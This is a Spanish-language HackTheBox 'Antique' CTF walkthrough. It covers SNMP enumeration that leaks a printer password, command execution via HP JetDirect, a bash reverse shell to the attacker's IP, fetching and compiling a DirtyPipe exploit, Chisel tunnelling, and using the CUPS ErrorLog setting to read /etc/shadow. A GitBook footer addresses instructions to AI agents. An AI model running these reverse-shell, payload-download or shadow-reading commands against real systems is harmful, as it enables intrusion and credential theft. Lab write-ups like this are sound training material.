> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Guía de HackTheBox Antique Guía de la máquina HackTheBox Antique Fácil Linux que cubre enumeración SNMP, abuso de impresora de red, explotación de administración de CUPS (ErrorLog), EXTRA -> (DirtyPipe) (CVE-2022-0847], con enumeraci {% embed url="" %} {% hint style="warning" %} Habilidades: * Enumeración SNMP * Abuso de impresora de red * Explotación de administración de CUPS (ErrorLog) * EXTRA -> (DirtyPipe) (CVE-2022-0847] {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Estableceremos nuestro espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento usando Nmap
**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.
### Escaneo TCP: Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```
**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (23.7777)
**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```
### Escaneo UDP: **Descubrimiento de puertos abiertos con Nmap:** También realizamos un escaneo de los puertos UDP con **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` Extraemos los resultados de nuevo con `extractPorts`, y observamos la apertura del puerto **161**, utilizado por SNMP.:
## Explorando servicios ### Puerto 23 (Telnet) – HP JetDirect Al intentar conectarnos al puerto **23** a través de **Telnet**, nos encontramos con un servicio HP JetDirect que nos pide una contraseña. Podemos intentar conectarnos con: ```bash nc -vn 10.10.11.107 23 ```
### Puerto 161 (SNMP) {% embed url="" %} Usamos **snmpbulkwalk** para enumerar los servicios SNMP expuestos en el puerto **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```
```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` Esto nos da una cadena hexadecimal de caracteres que convertimos a ASCII para obtener el contenido legible: {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}
Este canal contiene información interesante, pero nada inmediatamente útil para la explotación. ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```
Al intentar inyectar una cadena como contraseña en el puerto 23 (JetDirect), usamos intentos como: ```bash P@ssw0rd@123!!123 ```
## Abuso de impresora de red Hemos detectado que es posible ejecutar comandos a través de la impresora de red. La explotación de esta vulnerabilidad depende del `exec` comando, que permite inyectar comandos remotos. Por ejemplo: ```bash exec id ```
Esto devuelve las credenciales del sistema y permite ejecutar otros comandos. **Shell inversa** Establecemos una shell inversa usando **nc** en el puerto **443** de la máquina atacante: ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```
A continuación, manipulamos la sesión de la shell para obtener un mejor control: ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### flag user.txt :)
## Escalada de privilegios ## 1. Explotación DirtyPipe {% embed url="" %} Comprobamos si la máquina era vulnerable al exploit DirtyPipe, un fallo que permite modificar archivos del sistema en ejecución. Encontramos que la máquina tenía **gcc**, un compilador de C, disponible en la ubicación `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` A continuación, usamos **Python3** para transferir el exploit desde nuestra máquina local a la máquina objetivo. En nuestra máquina local, iniciamos un servidor HTTP para alojar el exploit: ```bash python3 -m http.server ``` En la máquina víctima, descargamos el exploit: ```bash wget http://10.10.14.4/exploit.c ```
Una vez recuperado el exploit, compilamos el archivo C con **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} El exploit modifica el `/etc/passwd` archivo inyectando un hash de contraseña, y añade un usuario `aaron` con una contraseña específica, todo para permitir la escalada de privilegios. {% endhint %}
Por último, solo hay que ejecutar el script: ```bash ./exploit ``` Esto nos permite obtener `root`/*/* acceso a la máquina
## 2. Reenvío de puertos con Chisel Al inspeccionar los puertos abiertos en la máquina objetivo, encontramos el puerto **631** (usado por CUPS). Usando el siguiente comando, confirmamos la presencia de un servicio CUPS: ```bash netstat -nat ``` El servicio CUPS está en la versión **1.6.1** y hemos identificado que podría ser vulnerable. Para redirigir este puerto, usamos **Chisel**, una herramienta de tunelización.
Primero compilamos Chisel en nuestra máquina local: {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` A continuación, transferimos el ejecutable Chisel a la máquina víctima mediante un servidor HTTP Python3: ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```
En nuestra máquina, iniciamos el servidor Chisel: ```bash chisel server -p 8888 -reverse ``` Después, en la máquina víctima, configuramos el cliente Chisel para redirigir el puerto 631 a nuestra máquina local: ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```
Esto nos permite acceder a la interfaz web de CUPS de la máquina objetivo a través de un túnel seguro. ### Explotación de la vulnerabilidad CUPS 1.6.1 {% embed url="" %} Usando **cupsctl**, modificamos el **CUPS** configuración del servicio para redirigir el **ErrorLog** archivo a un archivo sensible, como **/etc/shadow**. Esto permite leer este archivo como root a través de la interfaz web de CUPS. Comando para modificar la configuración: ```bash cupsctl ErrorLog=/etc/shadow ``` Luego accedimos a la interfaz web de CUPS visitando la siguiente URL en el servidor CUPS a través de nuestro túnel: Esto hizo posible ver el contenido del **/etc/shadow** archivo y obtener el `root.txt` bandera.
### Bandera root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.